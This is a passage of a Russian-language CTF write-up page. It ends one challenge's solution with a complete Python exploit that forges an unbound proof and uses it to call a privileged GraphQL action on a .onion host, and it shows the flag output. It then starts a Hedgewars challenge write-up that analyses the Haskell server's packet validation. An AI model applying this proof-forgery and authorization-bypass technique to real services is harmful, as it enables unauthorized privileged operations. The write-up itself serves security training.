\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. GraphQL \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441. \u041e\u0441\u0442\u0430\u0435\u0442\u0441\u044f action \u0438\u043b\u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 credit service.<\/p>\n<p>\u042f \u0441\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0441\u043b\u043e\u0432 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0439 \u0441\u0442\u0430\u0440\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432. \u0421\u0440\u0430\u0431\u043e\u0442\u0430\u043b \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442:<\/p>\n<pre><code>RESERVE_CREDIT<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u042d\u0442\u043e \u0431\u044b\u043b\u0430 \u0432\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f. <code>action<\/code> \u043d\u0435 \u0431\u044b\u043b \u0447\u0430\u0441\u0442\u044c\u044e challenge, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0442\u043e\u0442 \u0436\u0435 \u0441\u0430\u043c\u043e\u0434\u0435\u043b\u044c\u043d\u044b\u0439 proof \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438. \u0422\u043e \u0436\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a <code>accountId<\/code>. \u0412 proof \u043d\u0435\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430, \u0437\u043d\u0430\u0447\u0438\u0442 \u0441\u0435\u0440\u0432\u0435\u0440 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c, \u0434\u043b\u044f \u043a\u043e\u0433\u043e proof \u0431\u044b\u043b \u0432\u044b\u043f\u0443\u0449\u0435\u043d.<\/p>\n<h4>\u0424\u043b\u0430\u0433<\/h4>\n<pre><code class=\"json\">query VerifyBetaReserveProof($input: ProofInput!) {  verifyBetaReserveProof(input: $input) {    valid    token    flag  }}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e\u043b\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043d\u0430 Python (\u043f\u0438\u0441\u0430\u043b\u0430 \u0435\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u0435\u0439\u0440\u043e\u043d\u043a\u0430):<\/p>\n<pre><code class=\"python\">import hashlibimport jsonimport requestsURL = (    \"http:\/\/zerochan554vzq2suipchlyjqqm4jrstyyqkwabvr4oypwamtmfvrdqd.onion\/graphql\")def h(data):    return hashlib.sha256(data).digest()secret = bytes.fromhex(\"03\" * 32)serial = bytes.fromhex(\"04\" * 32)blind = bytes.fromhex(\"05\" * 32)leaf_hash = h(secret + serial)root = leaf_hashcommitment = h(leaf_hash + blind)challenge = h(root + commitment)response = h(challenge + secret + blind)proof = {    \"leaf_secret\": secret.hex(),    \"leaf_serial\": serial.hex(),    \"blind\": blind.hex(),    \"witness_path\": [],    \"leaf_index\": 0,    \"epoch_root\": root.hex(),    \"epoch\": 40,    \"commitment\": commitment.hex(),    \"response\": response.hex(),}query = \"\"\"query VerifyBetaReserveProof($input: ProofInput!) {  verifyBetaReserveProof(input: $input) {    valid    token    flag  }}\"\"\"variables = {    \"input\": {        \"proofJson\": json.dumps(proof, separators=(\",\", \":\")),        \"accountId\": \"24dd71b9-f06b-4fc7-bdea-6955908dfbbc\",        \"action\": \"RESERVE_CREDIT\",    }}response = requests.post(    URL,    json={\"query\": query, \"variables\": variables},    proxies={        \"http\": \"socks5h:\/\/127.0.0.1:9051\",        \"https\": \"socks5h:\/\/127.0.0.1:9051\",    },    timeout=30,)print(response.status_code)print(response.text)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0435\u043d\u0442:<\/p>\n<pre><code>valid: truetoken: 38a40112-ac83-4eea-b7e1-6b83fe328d21flag: zn{r3m3m83r_m0n3y_15_ju57_4n0th3r_4774ck_v3c70r}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0414\u0435\u043b\u043e \u0441\u0434\u0435\u043b\u0430\u043d\u043e. \u0412\u0441\u0435\u0433\u043e-\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u043b \u043f\u0430\u0440\u0443 \u0447\u0430\u0441\u043e\u0432 \u043e\u0442\u0434\u044b\u0445\u0430 \u0438 \u0434\u0432\u0430 \u0431\u043e\u043a\u0430\u043b\u0430 \u043f\u0438\u0432\u0430, \u0447\u0442\u043e\u0431\u044b \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f \u0441 \u0431\u0430\u0440\u0430 \u0438 \u0441\u0434\u0430\u0442\u044c \u0444\u043b\u0430\u0433. \u0414\u0430\u0436\u0435 \u043d\u0435 \u043d\u0430\u0434\u0435\u044f\u043b\u0441\u044f, \u0447\u0442\u043e \u044f \u043f\u0435\u0440\u0432\u044b\u0439. \u0412\u0441\u0435\u043c \u0441\u043f\u0430\u0441\u0438\u0431\u043e!<\/p>\n<h2>Day #3 \/ Hedgewars<\/h2>\n<h3>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/h3>\n<p>As always in SPbCTF tradition, the path to a ZN invite goes through hedgehogs. We are confident in our hedgehog mastery.<br \/> Can you defeat us in a first-to-7-wins Hedgewars match?<\/p>\n<p>Let\u2019s play! \ud83c\udfae \u2192 <a href=\"https:\/\/t.me\/spbctf_zn_hedgewars_bot\">t.me\/spbctf_zn_hedgewars_bot<\/a><\/p>\n<p>You\u2019re allowed and welcome to work together with AI agents on this challenge. Use your brain too though: in our tests agents couldn\u2019t defeat us on their own.<\/p>\n<p>This task was prepared by <a href=\"https:\/\/spbctf.com\">SPbCTF<\/a><\/p>\n<h4>\u041f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438<\/h4>\n<p><strong>24\/08\/2026<\/strong> 20:00 Task was extended till 23:59:59<\/p>\n<p><strong>24\/08\/2026<\/strong> 15:00 But maybe you can make your own luck, and pull a good weapon out of the crate every time?<\/p>\n<h3>\u0420\u0430\u0439\u0442\u0430\u043f \u043e\u0442 danosito<\/h3>\n<h4>\u041a\u0440\u0430\u0442\u043a\u043e\u0435 \u0432\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 \u043a\u0443\u0440\u0441 \u0434\u0435\u043b\u0430<\/h4>\n<p>\u0412 \u0442\u0430\u0441\u043a\u0435 \u0432\u044b\u0434\u0430\u043d \u0442\u0435\u043b\u0435\u0433\u0440\u0430\u043c \u0431\u043e\u0442. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0435\u0433\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b &#8212; \u0432\u044b\u0434\u0430\u0442\u044c \u0438\u043d\u0441\u0442\u0430\u043d\u0441, \u0432\u043e\u0442 \u043a\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0441 \u043d\u0438\u043c:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/28\/3d\/ca\/283dca8405b1c44e971fa4724cf726eb.png\" alt=\"\u0414\u0438\u0430\u043b\u043e\u0433 \u0441 \u0431\u043e\u0442\u043e\u043c: \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u0430\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/28\/3d\/ca\/283dca8405b1c44e971fa4724cf726eb.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/28\/3d\/ca\/283dca8405b1c44e971fa4724cf726eb.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0414\u0438\u0430\u043b\u043e\u0433 \u0441 \u0431\u043e\u0442\u043e\u043c: \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u0430<\/figcaption><\/div>\n<\/figure>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/d2\/0d\/da\/d20dda7cc83eea7166f01cc27079778f.png\" alt=\"\u0414\u0438\u0430\u043b\u043e\u0433 \u0441 \u0431\u043e\u0442\u043e\u043c: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043f\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/d2\/0d\/da\/d20dda7cc83eea7166f01cc27079778f.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/d2\/0d\/da\/d20dda7cc83eea7166f01cc27079778f.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0414\u0438\u0430\u043b\u043e\u0433 \u0441 \u0431\u043e\u0442\u043e\u043c: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043f\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e<\/figcaption><\/div>\n<\/figure>\n<p>\u0418\u0437 \u044d\u0442\u043e\u0433\u043e \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u0432\u043e\u0439 \u0438\u043d\u0441\u0442\u0430\u043d\u0441, \u043d\u0430\u0431\u043e\u0440 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u043e\u0440\u0433\u043e\u0432, \u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0438\u0433\u0440\u0435 &#8212; Hedgewars \u0432\u0435\u0440\u0441\u0438\u0438 1.0.0<\/p>\n<p>\u0421\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u0441\u0443\u0440\u0441\u044b \u0438 \u0433\u043e\u0442\u043e\u0432\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e, \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u043c \u0438\u0437\u0443\u0447\u0430\u0442\u044c. \u041f\u043e\u043d\u0438\u043c\u0430\u0435\u043c, \u0447\u0442\u043e \u0438\u0433\u0440\u0430 \u043e\u0447\u0435\u043d\u044c \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u0447\u0435\u0440\u0432\u044f\u043a\u043e\u0432 (\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0441\u0435\u0440\u0438\u044f worms), \u043d\u043e \u0441\u043e \u0441\u0432\u043e\u0438\u043c \u0444\u043b\u0451\u0440\u043e\u043c FLOSS (supertuxkart, \u043f\u0440\u0438\u0432\u0435\u0442). \u0417\u0430\u0445\u043e\u0434\u0438\u043c \u0438 \u043f\u044b\u0442\u0430\u0435\u043c\u0441\u044f \u043f\u043e\u0438\u0433\u0440\u0430\u0442\u044c &#8212; <a href=\"https:\/\/youtu.be\/7cv9nfjpGYc\">https:\/\/youtu.be\/7cv9nfjpGYc<\/a> &#8212; \u0438 \u0442\u0435\u0440\u043f\u0438\u043c \u0444\u0438\u0430\u0441\u043a\u043e.<\/p>\n<p>\u0411\u043e\u0442 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u0438\u043a\u0430 \u0445\u043e\u0434\u0438\u0442 \u043f\u0435\u0440\u0432\u044b\u043c \u0438 \u043a\u0438\u0434\u0430\u0435\u0442 \u0432 \u043d\u0430\u0441 \u0441\u043d\u0430\u0440\u044f\u0434\u043e\u043c. \u0423 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043e\u0434\u0438\u043d \u0445\u043e\u0434. \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0431\u043e\u0442 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u0438\u043a\u0430 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u043d\u0430\u0441 \u0430\u0432\u0438\u0430\u0443\u0434\u0430\u0440. \u0411\u043e\u0442 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u0438\u043a\u0430 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043d\u0430\u0441 \u0443\u0431\u0438\u0432\u0430\u0435\u0442, \u0435\u0441\u043b\u0438 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c \u0442\u0435\u043e\u0440\u0438\u0438 \u0438\u0433\u0440, \u0434\u0430\u0436\u0435 \u0441 \u0438\u0434\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u043a\u043e\u0441\u0442\u044c\u044e &#8212; \u043b\u0443\u0447\u0448\u0435\u0435, \u0447\u0442\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432 \u043d\u0435\u0433\u043e \u043a\u0438\u043d\u0443\u0442\u044c &#8212; \u0442\u043e\u0442 \u0436\u0435 \u0441\u043d\u0430\u0440\u044f\u0434, \u0438 \u043d\u0430\u043d\u0435\u0441\u0442\u0438 \u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0436\u0435 \u0443\u0440\u043e\u043d\u0430, \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u043d\u0430\u0441 \u0430\u0432\u0438\u0430\u0443\u0434\u0430\u0440\u043e\u043c \u0434\u043e\u0431\u0438\u043b. \u0420\u0430\u043d\u044c\u0448\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0430\u0432\u0438\u0430\u0443\u0434\u0430\u0440 \u043d\u0435\u043b\u044c\u0437\u044f: \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u0445 \u043a\u043e\u043c\u043d\u0430\u0442\u044b \u0435\u0441\u0442\u044c \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0430 \u043d\u0430 \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/dc\/1d\/47\/dc1d47f32cb5bb167f09780c4ad9f2db.png\" alt=\"\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043a\u043e\u043c\u043d\u0430\u0442\u044b\" title=\"\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043a\u043e\u043c\u043d\u0430\u0442\u044b\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/dc\/1d\/47\/dc1d47f32cb5bb167f09780c4ad9f2db.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/dc\/1d\/47\/dc1d47f32cb5bb167f09780c4ad9f2db.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043a\u043e\u043c\u043d\u0430\u0442\u044b<\/figcaption><\/div>\n<\/figure>\n<p>\u0418 \u043d\u0430\u0434\u043e \u0438\u0441\u043a\u0430\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u044b \u0438\u0437 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438. \u0423\u0436\u0435 \u043f\u043e\u0433\u043e\u0434\u044f \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0438\u0434\u0435\u044f &#8212; \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b \u0438 PRNG, \u043d\u043e \u044f \u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0440\u0435\u0448\u0438\u0442\u044c \u0434\u043e \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u044b\u0445 \u0445\u0438\u043d\u0442\u043e\u0432.<\/p>\n<h4>\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0440\u0435\u0441\u0435\u0440\u0447<\/h4>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0430\u0434\u043e \u043f\u043e\u043d\u044f\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0443, \u0432\u0435\u0434\u044c \u043e\u043d\u0430 \u0442\u0443\u0442 \u0437\u0430\u043d\u044f\u0442\u043d\u0430\u044f. \u041d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0430\u0432\u0442\u043e\u0440\u044b \u043b\u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0442 \u043e\u0447\u0435\u043d\u044c \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u043e \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0435, \u0438\u043b\u0438 \u043f\u0440\u043e\u0435\u043a\u0442 \u0434\u0435\u043b\u0430\u043b\u0441\u044f \u043a\u0430\u043a \u0441\u0443\u0433\u0443\u0431\u043e \u043e\u0434\u0438\u043d\u043e\u0447\u043d\u044b\u0439, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0432\u043f\u0438\u043b\u0438\u0432\u0430\u0442\u044c \u043c\u0443\u043b\u044c\u0442\u0438\u043f\u043b\u0435\u0435\u0440. \u0421\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u0440\u0443\u043a\u0430\u043c\u0438:<\/p>\n<ul>\n<li>\n<p>\u0414\u0432\u0438\u0436\u043e\u043a \u043d\u0430 \u043f\u0430\u0441\u043a\u0430\u043b\u0435, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0439 \u0437\u0430 \u0444\u0438\u0437\u0438\u043a\u0443 \u0438 \u043b\u043e\u0433\u0438\u043a\u0443 \u0438\u0433\u0440\u044b &#8212; \u043f\u043e \u0441\u0443\u0442\u0438 \u044f\u0434\u0440\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430<\/p>\n<\/li>\n<li>\n<p>qt \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043d\u0430 \u043f\u043b\u044e\u0441\u0430\u0445, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0439 \u0437\u0430 \u0432\u0441\u044e \u043d\u0435-\u0438\u0433\u0440\u043e\u0432\u0443\u044e \u043b\u043e\u0433\u0438\u043a\u0443 &#8212; \u043c\u0443\u043b\u044c\u0442\u0438\u043f\u043b\u0435\u0435\u0440, \u0447\u0430\u0442, \u043c\u0435\u043d\u044e. \u0421\u0432\u044f\u0437\u0430\u043d \u043f\u043e IPC \u0441 \u0434\u0432\u0438\u0436\u043a\u043e\u043c<\/p>\n<\/li>\n<li>\n<p>\u0421\u0435\u0440\u0432\u0435\u0440 \u043d\u0430 \u0445\u0430\u0441\u043a\u0435\u043b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0434\u0435\u043b\u0430\u043d \u043a\u0430\u043a \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u043e\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043c\u0435\u0436\u0434\u0443 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e\u043c \u0434\u0432\u0438\u0436\u043a\u043e\u0432. \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0447\u0442\u043e \u043e\u043d \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0438\/\u0444\u0438\u0437\u0438\u043a\u0438, \u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0441\u0443\u0442\u0438 \u0444\u0430\u0439\u0435\u0440\u0432\u043e\u043b\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0435\u0448\u0430\u0435\u0442 \u043a\u0430\u043a\u0438\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0440\u0430\u0441\u043a\u0438\u0434\u0430\u0442\u044c \u0432\u0441\u0435\u043c \u0434\u0432\u0438\u0436\u043a\u0430\u043c, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c \u043a \u0438\u0433\u0440\u0435.<\/p>\n<\/li>\n<\/ul>\n<p>\u0418\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u044d\u0442\u043e\u0439 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u044d\u043a\u0437\u043e\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b, \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0442\u043e\u0447\u043a\u0443: \u0441\u0435\u0440\u0432\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435 \u0432\u0430\u043b\u0438\u0434\u0438\u0440\u0443\u0435\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043a\u0440\u043e\u043c\u0435 \u0431\u0430\u0437\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u043f\u0430\u043a\u0435\u0442\u043e\u0432. <s>\u041d\u0430\u0442\u0440\u0430\u0432\u043b\u044f\u0435\u043c \u043a\u043e\u0434\u0435\u043a\u0441<\/s> \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043a\u043e\u0434 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044e \u043f\u0430\u043a\u0435\u0442\u043e\u0432.<\/p>\n<pre><code class=\"haskell\">handleCmd_inRoom [\"EM\", msg] = do    cl &lt;- thisClient    rm &lt;- thisRoom    chans &lt;- roomOthersChans    let (legalMsgs, nonEmptyMsgs, lastFTMsg) = checkNetCmd (teamIndexes cl) msg -- teamIndexes = cl, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438\u0437 EngineInteraction    if teamsInGame cl &gt; 0 &amp;&amp; (isJust $ gameInfo rm) &amp;&amp; (not $ B.null legalMsgs) then -- \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u043c\u0430\u0442\u0447\u0435 + \u0432\u0430\u043b\u0438\u0434\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f        return $ AnswerClients chans [\"EM\", legalMsgs] -- \u043e\u0442\u0434\u0430\u0435\u0442 \u043d\u0430 \u0432\u0441\u0435 \u0434\u0432\u0438\u0436\u043a\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u0435\u0441\u043b\u0438 \u043e\u043d\u043e \u0432\u0430\u043b\u0438\u0434\u043d\u043e + \u0432\u0441\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b \u0432 \u0432\u0430\u0439\u0442\u043b\u0438\u0441\u0442\u0435            : [ModifyRoom (\\r -&gt; r{gameInfo = liftM                (\\g -&gt; g{                    roundMsgs = if B.null nonEmptyMsgs then roundMsgs g else nonEmptyMsgs : roundMsgs g                    , lastFilteredTimedMsg = fromMaybe (lastFilteredTimedMsg g) lastFTMsg})                $ gameInfo r}), RegisterEvent EngineMessage]        else        return []<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<pre><code class=\"haskell\">checkNetCmd :: [Word8] -&gt; B.ByteString -&gt; (B.ByteString, B.ByteString, Maybe (Maybe B.ByteString))checkNetCmd teamsIndexes msg = check decoded    where        decoded = liftM splitMessages $ Base64.decode msg        check (Left _) = (B.empty, B.empty, Nothing)        check (Right msgs) = let (a, b) = (filter isLegal msgs, filter isNonEmpty a) in (encode a, encode b, lft a) -- \u0444\u0438\u043b\u044c\u0442\u0440 \u043f\u043e \u0432\u0430\u0439\u0442\u043b\u0438\u0441\u0442\u0443 + \u0432\u0430\u043b\u0438\u0434\u043d\u043e\u0441\u0442\u044c        encode = Base64.encode . B.concat        isLegal m = (B.length m &gt; 1) &amp;&amp; (flip Set.member legalMessages . B.head . B.tail $ m) &amp;&amp; not (isMalformed (B.head m) (B.tail m)) -- \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u043e \u0435\u0441\u043b\u0438 2+ \u0431\u0430\u0439\u0442\u0430, \u0432 \u0432\u0430\u0439\u0442\u043b\u0438\u0441\u0442\u0435 \u0438 \u0432\u0430\u043b\u0438\u0434\u043d\u043e        lft = foldr l Nothing        l m n = let m' = B.head $ B.tail m; tst = flip Set.member in                      if not $ tst timedMessages m' then n                        else if '+' \/= m' then Just Nothing else Just . Just . Base64.encode $ m        isNonEmpty = (\/=) '+' . B.head . B.tail        legalMessages = Set.fromList $ \"M#+LlRrUuDdZzAaSjJ,NpPwtgfhbc12345\" ++ slotMessages -- \u0432\u0430\u0439\u0442\u043b\u0438\u0441\u0442 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439        slotMessages = \"\\128\\129\\130\\131\\132\\133\\134\\135\\136\\137\\138\" -- \u0432\u044b\u0431\u043e\u0440 \u0441\u043b\u043e\u0442\u0430        timedMessages = Set.fromList $ \"+LlRrUuDdZzAaSjJ,NpPwtgfc12345\" ++ slotMessages        isMalformed 'h' m | B.length m &gt;= 3 = let hognum = m `B.index` 1; teamnum = m `BW.index` 2 in hognum &lt; '1' || hognum &gt; '8' || teamnum `L.notElem` teamsIndexes                          | otherwise = True -- \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 